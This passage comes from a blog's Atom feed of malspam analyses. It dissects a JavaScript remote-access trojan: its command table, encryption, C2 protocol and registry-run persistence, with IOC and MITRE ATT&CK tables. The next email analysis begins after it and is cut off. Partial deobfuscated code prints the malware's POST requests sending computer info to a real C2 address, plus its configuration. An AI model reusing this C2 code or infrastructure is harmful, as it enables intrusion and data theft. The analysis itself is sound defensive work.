&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-2&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Reconnect&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;-1&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sleep&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;0&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Wake&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;1&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Download &amp;amp; execute file&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;2&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Start beacon shell&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;3&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Run PowerShell command&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;4&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Send system properties&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;All payloads executed in PowerShell are encrypted using AES-CBC with a 32 byte key that is
sent by the server, often alongside a token which is passed to the respective parameter of
the command, and a hardcoded IV &lt;code&gt;76E6F6C63756479726E6565647879637&lt;/code&gt; which is reversed.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;ExecuteShell&lt;/code&gt; launches an encrypted HTTP beacon shell in PowerShell.
It continuously polls the C2 server using the &lt;code&gt;tw&lt;/code&gt; parameter (&lt;code&gt;GetShell&lt;/code&gt;) with a
server-sent 12 byte token, decrypts received commands, executes them, and sends the
results back through the headers &lt;code&gt;tw&lt;/code&gt; for the encrypted output and &lt;code&gt;x&lt;/code&gt; for the status.
It stops when multiple consecutive attempts fail or the server returns status 404.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ExecuteFile&lt;/code&gt; downloads an encrypted payload from the C2 server using the &lt;code&gt;ex&lt;/code&gt;
parameter (&lt;code&gt;GetFile&lt;/code&gt;) with a server-sent 12 byte token, decrypts it,
writes it to a temporary path, and executes it.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;LoadProcess&lt;/code&gt; retrieves an encrypted PowerShell payload from the C2 server
using the &lt;code&gt;sb&lt;/code&gt; parameter (&lt;code&gt;GetLoader&lt;/code&gt;) with a server-sent 12 byte token,
and an &lt;code&gt;fp&lt;/code&gt; parameter set to “1”. It decrypts the payload and pipes it into
a hidden PowerShell process via standard input, bypassing command-line logging.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetProperties&lt;/code&gt; retrieves detailed computer info and the running processes, serialises the
results to JSON and encrypts them with XOR. Then, it sends the encrypted results to the C2
server using the &lt;code&gt;df&lt;/code&gt; parameter (&lt;code&gt;GetProperties&lt;/code&gt;) with a randomly generated 8 byte token,
a &lt;code&gt;b&lt;/code&gt; parameter for the computer info, and a &lt;code&gt;c&lt;/code&gt; parameter for the process list. If the requests
was successful, it calls the client object’s &lt;code&gt;TryInstallStartup&lt;/code&gt; method to achieve persistence.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UpdateClient&lt;/code&gt; requests the latest version of the malware from the C2 server using the &lt;code&gt;kp&lt;/code&gt; parameter
(&lt;code&gt;GetUpdate&lt;/code&gt;) with a server-sent 16 byte token, downloads it, and replaces the old script with it.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF7 = function () {
  function f8() {}
  f8.Handle = function (p57, p58) {
    switch (p58.getResponseHeader(&quot;X-A&quot;)) {
      /* omitted */
    }
  };
  f8.ExecuteShell = function (p59, p60) { /* omitted */ };
  f8.ExecuteFile = function (p61, p62) { /* omitted */ };
  f8.LoadProcess = function (p63, p64) { /* omitted */ };
  f8.GetProperties = function (p65, p66) { /* omitted */ };
  f8.UpdateClient = function (p67, p68) { /* omitted */ };
  return f8;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h4&gt;C2 Communication&lt;/h4&gt;
&lt;p&gt;The &lt;code&gt;vF8&lt;/code&gt; class handles the communication with the C2 server.
Its constructor stores a list of servers and a client instance,
and initialises multiple connection state variables.&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Run&lt;/code&gt; is the main loop which runs until the connection is closed, calling
&lt;code&gt;Connect&lt;/code&gt; to connect or reconnect to the server, or &lt;code&gt;Ping&lt;/code&gt; if already connected.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Connect&lt;/code&gt; sends a POST request to the server with the parameter &lt;code&gt;a&lt;/code&gt; hardcoded to
the value “iz” and the parameter &lt;code&gt;b&lt;/code&gt; containing a pipe-separated list of computer info.
It sets the session identifier from the &lt;code&gt;X-S&lt;/code&gt; response header. It handles the received command
if the request was successful, otherwise it rotates the configured C2 server in order to try again.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Ping&lt;/code&gt; sends a POST request to the server with the parameter &lt;code&gt;ia&lt;/code&gt; set to the session identifier
in order to determine whether the connection is still active and receive a new command.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Disconnect&lt;/code&gt; marks the C2 server as disconnected and rotates to another.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;AvailableHost&lt;/code&gt; filters the C2 server list excluding disconnected hosts.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;RotateHost&lt;/code&gt; cycles through the C2 server list.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Wait&lt;/code&gt; sleeps for the specified number of seconds.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MakeUrl&lt;/code&gt; constructs a C2 URL with a specific action based on its parameters.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Close&lt;/code&gt;, &lt;code&gt;Idle&lt;/code&gt;, &lt;code&gt;Sleep&lt;/code&gt;, &lt;code&gt;Wake&lt;/code&gt;, and &lt;code&gt;IncreaseWait&lt;/code&gt; modify the connection state.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;var vF8 = function () {
  function f9(p69, p70) { /* omitted */ }
  f9.prototype.Run = function () { /* omitted */ };
  f9.prototype.Connect = function () {
    if (this.REQUEST_DATA == null) {
      this.REQUEST_DATA = vF4.SerializeForm({
        a: &quot;iz&quot;,
        b: vF4.GetComputerInfo().join(&quot;|&quot;)
      });
    }
    try {
      var v129 = vVF3.CreateObject(&quot;MSXML2.XMLHTTP&quot;);
      v129.open(&quot;POST&quot;, this.HOST, false);
      v129.SetRequestHeader(&quot;content-type&quot;, &quot;application/x-www-form-urlencoded&quot;);
      v129.send(this.REQUEST_DATA);
      this.IDENTIFIER = v129.getResponseHeader(&quot;X-S&quot;) ?? &quot;&quot;;
      /* omitted */
    } catch (ffFffFfFffFFffff) {
      /* omitted */
    }
  };
  f9.prototype.Ping = function () {
    try {
      var v130 = vVF3.CreateObject(&quot;MSXML2.XMLHTTP&quot;);
      v130.open(&quot;POST&quot;, this.HOST + &quot;?ia=&quot; + this.IDENTIFIER, false);
      v130.send();
      /* omitted */
    } catch (fFFFFFfFffFFffff) {
      /* omitted */
    }
  };
  f9.prototype.Close = function () { /* omitted */ };
  f9.prototype.Disconnect = function () { /* omitted */ };
  f9.prototype.Reconnect = function () { /* omitted */ };
  f9.prototype.Idle = function () { /* omitted */ };
  f9.prototype.Sleep = function () { /* omitted */ };
  f9.prototype.Wake = function () { /* omitted */ };
  f9.prototype.AvailableHost = function () { /* omitted */ };
  f9.prototype.RotateHost = function () { /* omitted */ };
  f9.prototype.IncreaseWait = function () { /* omitted */ };
  f9.prototype.Wait = function (p72) { /* omitted */ };
  f9.prototype.MakeUrl = function (p73, p74) {
    var v134 = &quot;&quot;;
    v134 += this.HOST;
    v134 += &quot;?ia=&quot;;
    v134 += this.IDENTIFIER;
    v134 += &quot;&amp;amp;&quot;;
    v134 += p74;
    return (v134 += &quot;=&quot;) + p73;
  };
  return f9;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Entry Point&lt;/h3&gt;
&lt;p&gt;The &lt;code&gt;vF11&lt;/code&gt; class is the main entry point of the malware.&lt;/p&gt;
&lt;p&gt;&lt;strong&gt;Methods:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Main&lt;/code&gt; handles the CLI arguments of the script.
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;InstantConnect&lt;/code&gt;: calls &lt;code&gt;InstantConnection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DelayedConnect&lt;/code&gt;: calls &lt;code&gt;DelayedConnection&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UpdateClient&lt;/code&gt;: sleeps if the &lt;code&gt;Identifier&lt;/code&gt; is specified and calls &lt;code&gt;TryUpdateClient&lt;/code&gt;&lt;/li&gt;
&lt;li&gt;Otherwise, calls &lt;code&gt;TryInstallClient&lt;/code&gt;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DelayedConnection&lt;/code&gt; performs the post-execution action and the
anti-analysis operations before connecting to the C2 server.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InstantConnection&lt;/code&gt; simply connects to the C2 server.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;StartConnections&lt;/code&gt; defines an array of C2 servers (with only one element in this case),
uses the &lt;code&gt;f11&lt;/code&gt; class to store their properties, and starts the network loop.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetInstallFile&lt;/code&gt; returns the persistent installation path of the malware.
In this case, the path is &lt;code&gt;%APPDATA%\RLnayPzlrL\vTzbMzqSByiilfQejkxuoQiJHAFhjt.js&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;GetInstallKey&lt;/code&gt; returns the Run registry key used for persistence. In this case,
the key is &lt;code&gt;HKCU\Software\Microsoft\Windows\CurrentVersion\Run\RLnayPzlrL&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Restart&lt;/code&gt; relaunches the script with &lt;code&gt;InstantConnect&lt;/code&gt;, through the
installation path if available, and terminates the current instance.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Close&lt;/code&gt; terminates the script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Update&lt;/code&gt; relaunches the script with &lt;code&gt;UpdateClient&lt;/code&gt; and uninstalls the current version.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TryInstallStartup&lt;/code&gt; writes a Run registry key for persistence which launches the
installed script with &lt;code&gt;InstantConnect&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TryInstallClient&lt;/code&gt; copies the current script to the installation path, runs the
post-installation action, optionally deletes the original file, and initiates a delayed connection.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TryUpdateClient&lt;/code&gt; replaces the installed script with the current one, optionally deletes
the original file, and initiates an instant connection.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Uninstall&lt;/code&gt; deletes the Run registry key, the installed script, and the current file, and exits.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Functions:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;OnExecution&lt;/code&gt; performs the post-execution action.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OnInstallation&lt;/code&gt; performs the post-installation action.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TryExecuteShell&lt;/code&gt; executes a shell command with &lt;code&gt;vVF3.Exec&lt;/code&gt;.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;TryOpenURL&lt;/code&gt; opens a URL with &lt;code&gt;vVF3.Run&lt;/code&gt;.&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;&lt;strong&gt;Properties:&lt;/strong&gt;&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;code&gt;Installed&lt;/code&gt;: Tracks whether the malware has been installed persistently.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;Identifier&lt;/code&gt;: Hardcoded client UUID used during registration.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;UpdateClient&lt;/code&gt;: CLI argument which triggers a self-update.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DelayedConnect&lt;/code&gt;: CLI argument for connecting with a delay (used post-install).&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InstantConnect&lt;/code&gt;: CLI argument for connecting with no delay.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;PathName&lt;/code&gt;: The persistence base path environment variable.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FolderName&lt;/code&gt;: The subfolder name created under the base path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;FileName&lt;/code&gt;: The filename of the installed script.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;DecryptionKey&lt;/code&gt;: Unused.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ConnectionMode&lt;/code&gt;: Unused.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;ConnectionDelay&lt;/code&gt;: The number of seconds to wait before the first connection attempt.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InstallationDelay&lt;/code&gt;: The number of seconds to wait before performing the installation.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;InstallClient&lt;/code&gt;: Boolean flag controlling whether to install the client to the persistence path.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;MeltOriginalFile&lt;/code&gt;: Boolean flag controlling whether the original file will be deleted.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OnExecutionType&lt;/code&gt;: Flag which defines a post-execution action. 1 opens a URL, 2 runs a shell command, any other value does nothing.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OnExecutionValue&lt;/code&gt;: The value of the post-execution action. In this case, the URL of a blank PDF which is used as a decoy.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OnInstallationType&lt;/code&gt;: Flag which defines a post-installation action. 1 opens a URL, 2 runs a shell command, any other value does nothing.&lt;/li&gt;
&lt;li&gt;&lt;code&gt;OnInstallationValue&lt;/code&gt;: The value of the post-installation action. Empty in this case.&lt;/li&gt;
&lt;/ul&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;function f11(p76, p77) {
  this.disconnected = false;
  this.address = p76;
  this.index = p77;
}
var vF11 = function () {
  function f13() {}
  f13.prototype.Main = function (p80) { /* omitted */ };
  f13.prototype.DelayedConnection = function () { /* omitted */ };
  f13.prototype.InstantConnection = function () { /* omitted */ };
  f13.prototype.StartConnections = function () {
    var v137 = [&quot;http://91.92.243.79:4454/gATIjh&quot;].map(function (p81, p82) {
      return new f11(p81, p82);
    });
    new vF10(new vF8(v137, this)).Start();
  };
  f13.prototype.GetInstallFile = function () { /* omitted */ };
  f13.prototype.GetInstallKey = function () {
    return vF5.GetFileSystemObject().BuildPath(&quot;HKCU\\Software\\Microsoft\\Windows\\CurrentVersion\\Run&quot;, f13.FolderName);
  };
  f13.prototype.Restart = function () { /* omitted */ };
  f13.prototype.Close = function () { /* omitted */ };
  f13.prototype.Update = function (p83) { /* omitted */ };
  f13.prototype.TryInstallStartup = function () { /* omitted */ };
  f13.prototype.TryInstallClient = function () { /* omitted */ };
  f13.prototype.TryUpdateClient = function () { /* omitted */ };
  f13.prototype.Uninstall = function () { /* omitted */ };
  f13.OnExecution = function () { /* omitted */ };
  f13.OnInstallation = function () { /* omitted */ };
  f13.TryExecuteShell = function (p84) { /* omitted */ };
  f13.TryOpenURL = function (p85) { /* omitted */ };
  f13.Installed = false;
  f13.Identifier = &quot;7dea2ef3-705e-4249-ad9e-00d2c52629d6&quot;;
  f13.UpdateClient = &quot;--update&quot;;
  f13.DelayedConnect = &quot;MYEVWDOB&quot;;
  f13.InstantConnect = &quot;NmuLUxSdK&quot;;
  f13.PathName = &quot;APPDATA&quot;;
  f13.FolderName = &quot;RLnayPzlrL&quot;;
  f13.FileName = &quot;vTzbMzqSByiilfQejkxuoQiJHAFhjt&quot;;
  f13.DecryptionKey = &quot;&quot;;
  f13.ConnectionMode = &quot;0&quot;;
  f13.ConnectionDelay = &quot;0&quot;;
  f13.InstallationDelay = &quot;0&quot;;
  f13.InstallClient = &quot;1&quot;;
  f13.MeltOriginalFile = &quot;0&quot;;
  f13.OnExecutionType = &quot;1&quot;;
  f13.OnExecutionValue = &quot;https://mag.wcoomd.org/uploads/2018/05/blank.pdf&quot;;
  f13.OnInstallationType = &quot;-1&quot;;
  f13.OnInstallationValue = &quot;&quot;;
  return f13;
}();
&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;Finally, the script sets up the environment and runs the entry point.&lt;/p&gt;
&lt;pre&gt;&lt;code class=&quot;language-javascript&quot;&gt;vF2.Initialize();
vF2.Run(new vF11());
&lt;/code&gt;&lt;/pre&gt;
&lt;h3&gt;Summary&lt;/h3&gt;
&lt;p&gt;The C2 protocol used in this malware is structured and operates over plain HTTP.
The session begins with a POST request with the parameters &lt;code&gt;a&lt;/code&gt; set to “iz” and
&lt;code&gt;b&lt;/code&gt; containing the computer info, to which the server responds with an &lt;code&gt;X-S&lt;/code&gt;
header containing the assigned session ID. Subsequent keep-alive pings are
POST requests with the &lt;code&gt;ia&lt;/code&gt; parameter set to the session ID.&lt;/p&gt;
&lt;p&gt;The server issues commands via the &lt;code&gt;X-A&lt;/code&gt; header as signed integer codes, with non-positive
values used for client and connection management and positive values used for command execution.
When a command is issued, the response body contains a token (except for &lt;code&gt;GetProperties&lt;/code&gt;),
an AES key, and optional trailing data, which the client uses to construct a secondary request
with a specific parameter for each command. All payloads are AES-CBC encrypted with the provided key
and a hardcoded IV. The beacon shell output is also encrypted and passed in the &lt;code&gt;tw&lt;/code&gt; request header.&lt;/p&gt;
&lt;p&gt;It’s worth noting that the upper camel case names of the identifiers used in this script,
along with the thread abstraction and the &lt;code&gt;Dispose&lt;/code&gt; method, are strong indicators that the
malware was ported from C#. Furthermore, the bidirectional numeric enums are a TypeScript trait
which indicates that the malware was ported from C# to TypeScript and then compiled to JavaScript.&lt;/p&gt;
&lt;h2&gt;Indicators of Compromise&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Type&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Value&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Links&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Comment&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Email&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;dao@ambserbie-alger.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;N/A&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender address&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Domain&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;ambserbie-alger.com&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://mxtoolbox.com/emailhealth/ambserbie-alger.com/&quot;&gt;MXToolBox&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://www.virustotal.com/gui/domain/ambserbie-alger.com&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender domain&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;IP&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;85.137.51.11&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.abuseipdb.com/check/85.137.51.11&quot;&gt;AbuseIPDB&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Sender IP&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;IP&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;91.92.243.79&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.abuseipdb.com/check/91.92.243.79&quot;&gt;AbuseIPDB&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://www.virustotal.com/gui/ip-address/91.92.243.79&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;C2 IP&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;745158871066b7e3aa4ed48234c5f24b&lt;wbr&gt;5389b2cb92945b86aa530488a7d47afc&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/745158871066b7e3aa4ed48234c5f24b5389b2cb92945b86aa530488a7d47afc&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://app.any.run/tasks/44aa32ec-97c1-4ec9-8f7c-cf4e9016a092&quot;&gt;ANY.RUN&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;GR5000171604.7z&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Hash&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;738f09e31a901c3506f4ae193476ff07&lt;wbr&gt;73486865b2a3bb31b09ba67d9c9ba12a&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/file/738f09e31a901c3506f4ae193476ff0773486865b2a3bb31b09ba67d9c9ba12a&quot;&gt;VirusTotal&lt;/a&gt;&lt;br&gt;&lt;a href=&quot;https://hybrid-analysis.com/sample/738f09e31a901c3506f4ae193476ff0773486865b2a3bb31b09ba67d9c9ba12a&quot;&gt;Hybrid Analysis&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;GR5000171604.js&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;URL&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;https://mag.wcoomd.org/uploads/2018/05/blank.pdf&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://www.virustotal.com/gui/url/3c11d47014b48f76570b5f200e6c7bdab4dee3f47fbfb53b936ed2de45cdc85e&quot;&gt;VirusTotal&lt;/a&gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;Decoy&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;h2&gt;MITRE ATT&amp;amp;CK® Techniques&lt;/h2&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;Tactic&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Technique&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Initial Access&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1566/001/&quot;&gt;T1566.001 - Phishing: Spearphishing Attachment&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1204/002/&quot;&gt;T1204.002 - User Execution: Malicious File&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/007/&quot;&gt;T1059.007 - Command and Scripting Interpreter: JavaScript&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Execution&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1059/001/&quot;&gt;T1059.001 - Command and Scripting Interpreter: PowerShell&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Persistence&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1547/001/&quot;&gt;T1547.001 - Boot or Logon Autostart Execution: Registry Run Keys / Startup Folder&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1027/&quot;&gt;T1027 - Obfuscated Files or Information&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Defense Evasion&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1070/010/&quot;&gt;T1070.010 - Indicator Removal: Relocate Malware&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Discovery&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1082/&quot;&gt;T1082 - System Information Discovery&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Discovery&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1057/&quot;&gt;T1057 - Process Discovery&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Command and Control&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1071/001/&quot;&gt;T1071/001 - Application Layer Protocol: Web Protocols&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;Exfiltration&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;&lt;a href=&quot;https://attack.mitre.org/techniques/T1041/&quot;&gt;T1041 - Exfiltration Over C2 Channel&lt;/a&gt;&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;div class=&quot;footnote-definition&quot; id=&quot;1&quot;&gt;&lt;sup class=&quot;footnote-definition-label&quot;&gt;1&lt;/sup&gt;
&lt;p&gt;&lt;a href=&quot;https://learn.microsoft.com/en-us/windows/win32/wmisdk/connecting-to-wmi-with-vbscript&quot;&gt;Connecting to WMI with VBScript&lt;/a&gt;&lt;/p&gt;
&lt;/div&gt;
</content></entry><entry><title>Malspam Analysis - ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963</title><id>https://observeroftime.github.io/malspam-analysis/2026-03-06/98ad83f0194e910e3c46b7c755d0dc1839a18e1417c81cccc983c1df4421d2f6.html</id><updated>2026-03-07T19:22:35+00:00</updated><link href="https://observeroftime.github.io/malspam-analysis/2026-03-06/98ad83f0194e910e3c46b7c755d0dc1839a18e1417c81cccc983c1df4421d2f6.html" rel="alternate"/><content type="html">&lt;h1&gt;ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963&lt;/h1&gt;
&lt;p&gt;On March 6 2026, 00:44 UTC, I received an email with the following details:&lt;/p&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th style=&quot;text-align: center&quot;&gt;From&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Subject&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender address&lt;/th&gt;&lt;th style=&quot;text-align: center&quot;&gt;Sender IP&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td style=&quot;text-align: center&quot;&gt;“Ace Exim Pte. Ltd” &amp;lt;export12@bestu-international.shop&amp;gt;&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;ACKNOWLEDGEMENT OF AMENDED PO NO.: 55963&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;export12@bestu-international.shop&lt;/td&gt;&lt;td style=&quot;text-align: center&quot;&gt;185.117.90.210&lt;/td&gt;&lt;/tr&gt;
&lt;/tbody&gt;&lt;/table&gt;
&lt;p&gt;The email passed authentication checks, including SPF, DMARC, and DKIM.
However, the sender domain and IP are listed in email blocklists for spam.
Furthermore, the sender impersonates “Ace Exim Pte. Ltd”, a legitimate ship
recycling company located in Singapore.&lt;/p&gt;
&lt;p&gt;The email contains the following attachment:&lt;/p&gt;
